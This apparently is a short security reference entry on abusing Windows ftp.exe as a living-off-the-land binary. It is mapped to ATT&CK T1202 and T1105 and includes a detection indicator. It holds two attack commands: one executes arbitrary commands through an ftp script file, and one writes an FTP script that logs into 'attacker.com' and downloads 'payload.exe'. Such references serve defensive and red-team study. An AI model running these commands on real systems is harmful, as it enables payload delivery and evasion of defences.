01 / TRADECRAFT
2 examplesCommand reference
Execute1
EXAMPLE 01T1202
Executes the commands you put inside the text file.
COMMAND
echo !{CMD} > ftpcommands.txt && ftp -s:ftpcommands.txtDownload1
EXAMPLE 01T1105
Download
COMMAND
cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"02 / ON DISK
Known paths
C:\Windows\System32\ftp.exeC:\Windows\SysWOW64\ftp.exe03 / DEFENSIVE INTELLIGENCE
1 resourcesDetection & indicators
Indicators & detection notes
- IOC
cmd /c as child process of ftp.exe
FURTHER READING
Research & resources
COMMUNITY RESEARCH
Acknowledgements
Casey Smith@subtee
BennyHusted
Amit Serper@0xAmit